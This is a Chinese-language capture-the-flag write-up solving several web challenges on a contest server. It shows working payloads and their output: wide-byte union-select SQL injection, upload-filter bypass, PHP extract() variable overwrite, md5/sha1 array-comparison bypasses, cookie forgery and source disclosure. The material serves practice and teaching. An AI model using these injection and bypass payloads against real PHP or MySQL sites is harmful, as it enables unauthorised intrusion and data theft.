PS:菜鸟一枚,只做出了8题,第8题没思路,好吧,密码学没学好。。。还是坐等大神们的wp吧。
WEB01
http://139.129.166.67/4t56ysgh6h7u/
答案格式:仅输入{ }花括号中的内容
分值 50
本题考查的是正则表达式
页面源码:
<?php
highlight_file('2.php');
$key='KEY{********************************}';
$IsMatch= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IsMatch ){
die('key: '.$key);
}
?>
本地构造id测试通过后提交得到key
http://139.129.166.67/4t56ysgh6h7u/index.php?id=key123key12345key:/a/aakeya;
key: KEY{079b0c5ac8fa6b5e7a6855eeee622w1d11dbe80afc}
WEB02
http://139.129.166.67/fgrtgha45y6/fileupload.php
答案格式:仅输入{ }花括号中的内容
分值 100
本题考查的是上传绕过
不能上传马,否则禁IP
(可怜我后面的题全得上代理。。。)
burpsuite发送post包
1. 文件名后缀.php5
2. 修改表单属性Content-Type: image/jpeg
3. 修改表单属性Content-Type: Multipart/form-data;
WEB03
题目:
http://139.129.166.67/gth56u778i8/
答案格式:仅输入{ }花括号中的内容
分值 100
提示:php黑魔法
页面源代码:
<?php
extract($_GET);
if (!empty($dpc))
{
$combination = trim(file_get_contents($filename));
if ($dpc === $combination)
{
echo "<p>Hello:" ." $combination!?</p>";
echo "<p>Congratulation.Key is:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
这道题有很多解法,我用的是php输入流
Hello: text!?
Congratulation.Key is: key{a643cfb7a9066fc0derdgt315f34117bd0ce}
WEB04
http://139.129.166.67/45y6ehtwht65/
答案格式:仅输入{ }花括号中的内容
分值 150
这题也是php黑魔法
访问:
http://139.129.166.67/45y6ehtwht65/index.php
返回:
Post your username and your password.
使用burpsuite发送post数据,并将Cookie中的user值修改为:YWRtaW4=
即admin的base64编码,原本是guest的base64编码Z3Vlc3Q=
以下为post数据和返回结果:
username=YWRtaW4%3D&password=YWRtaW4%3D
Post your username and your password.Your password can not be your username.
username和password不能一样
username=YWRtaW4%3D&password[]=1
Post your username and your password.md5(username) == md5(password) should be true!
要求md5后相等,直接构造数组即可
username[]=2&password[]=1
Post your username and your password.Flag: KEY{8666aaffad84355555f605a97f24aee4654c5}
WEB05
http://139.129.166.67/5677ui8ifgs/
答案格式:仅输入{ }花括号中的内容
提示:临时文件
还是php黑魔法。。。
访问临时文件:
http://139.129.166.67/5677ui8ifgs/index.php~
页面源码:
<?php
$_GET['myid'] = urldecode($_GET['myid']);
$flag = 'xxxxxxxxxxxxxxxxx';
if (isset($_GET['name']) and isset($_POST['password'])) {
if ($_GET['name'] == $_POST['password'])
print 'Your password can not be your name.';
else if (sha1($_GET['name']) === sha1($_POST['password'])&($_GET['myid']=='anyun'))
die('Flag: '.$flag);
else
print 'sorry!';
}
?>
http://139.129.166.67/5677ui8ifgs/index.php?myid=anyun&name[]=1
post data: password[]=2
Flag: KEY{f3ac63c91272f19ce97c7397825cc15f}
web4和web5差不多的。。。
WEB06
题目:
http://139.129.166.67/5t5y6huj7j7/
答案格式:仅输入{ }花括号中的内容
本题考查手工注入
访问返回:
key in the database
在返回包里看到charset=gbk
不用多想,直接就是宽字符注入了
http://139.129.166.67/5t5y6huj7j7/index.php
?id=1%df%27
http://139.129.166.67/5t5y6huj7j7/index.php
?id=1%df%27 or 1=1%23
http://139.129.166.67/5t5y6huj7j7/index.php
?id=1%df%27 union select 1,2%23
http://139.129.166.67/5t5y6huj7j7/index.php
?id=1%df%27 union select 1,group_concat(user(),0x7c,version(),0x7c,database())%23
shadow@localhost|5.1.73|test
http://139.129.166.67/5t5y6huj7j7/index.php
?id=1%df%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23
article,flag
http://139.129.166.67/5t5y6huj7j7/index.php
?id=1%df%27 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x666c6167%23
id,thisisflag
http://139.129.166.67/5t5y6huj7j7/index.php
?id=1%df%27 union select 1,group_concat(id,0x7c,thisisflag) from flag%23
1|KEY{c67gf8a8ed45b7f4rtyjfc4d23eb9b4591c}
WEB07
http://139.129.166.67/gthyj67r/
答案格式:仅输入{ }花括号中的内容
本题考查的是网络编程
在源码中看到:
Please faster!!!<!– OK , you should post the anyun what you find –>
在响应头信息中有一个flag,是用base64编码过的
我们要做的就是把这个flag解码后提交
其实这道题并不难,细心一点就可以做出来了
写个python脚本搞定
import requests
import base64
url = 'http://139.129.166.67/gthyj67r/index.php'
s = requests.session()
s.proxies = {'http': 'http://180.162.229.150:8118'}
req = s.get(url)
_cookie=req.cookies
header = req.headers['flag']
flag = base64.b64decode(header)[14:]
flag = base64.b64decode(flag)
data = {'anyun': flag}
res = s.post(url,data,cookies=_cookie)
print res.content
很多人都会返回以下语句:
I said do faster
Please faster!!!<!– OK , you should post the anyun what you find –>
出现这个问题的原因就是只base64解码了一次,其实这里要将flag解码两次,只是很多人都没有发现而已。。。
解码两次后,即可得到key:
KEY{7379111111dd62fc5a2d377076b453e18a}
WEB09
http://139.129.166.67/sefrgtafgr/
访问链接会跳转到:
http://139.129.166.67/sefrgtafgr/index.php?line=&file=a2V5LnR4dA==
然后一看这个url后面的参数,顿时觉得眼熟啊,但就是想不起来在哪里做过了,看看是不是同样的思路先。
访问url:
http://139.129.166.67/sefrgtafgr/index.php?line=1&file=aW5kZXgucGhw
返回:
error_reporting(0);
这。。。简直就是照搬过来的题呀。。。一模一样。。。
修改line参数的值,会发现返回的是php文件的代码
写个python脚本来获取该php文件的内容
import requests
url = 'http://139.129.166.67/sefrgtafgr/index.php?line='
part = '&file=aW5kZXgucGhw'
s = requests.session()
for i in range(1,19):
res = s.get(url+str(i)+part)
print res.content
获取到php文件的内容:
error_reporting(0);
$file=base64_decode(isset($_GET['file'])?$_GET['file']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&file=a2V5LnR4dA==");
$file_list = array(
'0' =>'key.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['key']) && $_COOKIE['key']=='an_yun_tec'){
$file_list[2]='thisis_key.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
分析源码后,添加cookie值和构造url得到key
添加Cookie: key=an_yun_tec
构造url:http://139.129.166.67/sefrgtafgr/index.php?line=&file=dGhpc2lzX2tleS5waHA=
< ?php $key=’KEY{key_anyuntec_co0kies}’; ?>
>_<菜鸟只会做到这里了,剩下第8题只能等大神的wp了。。。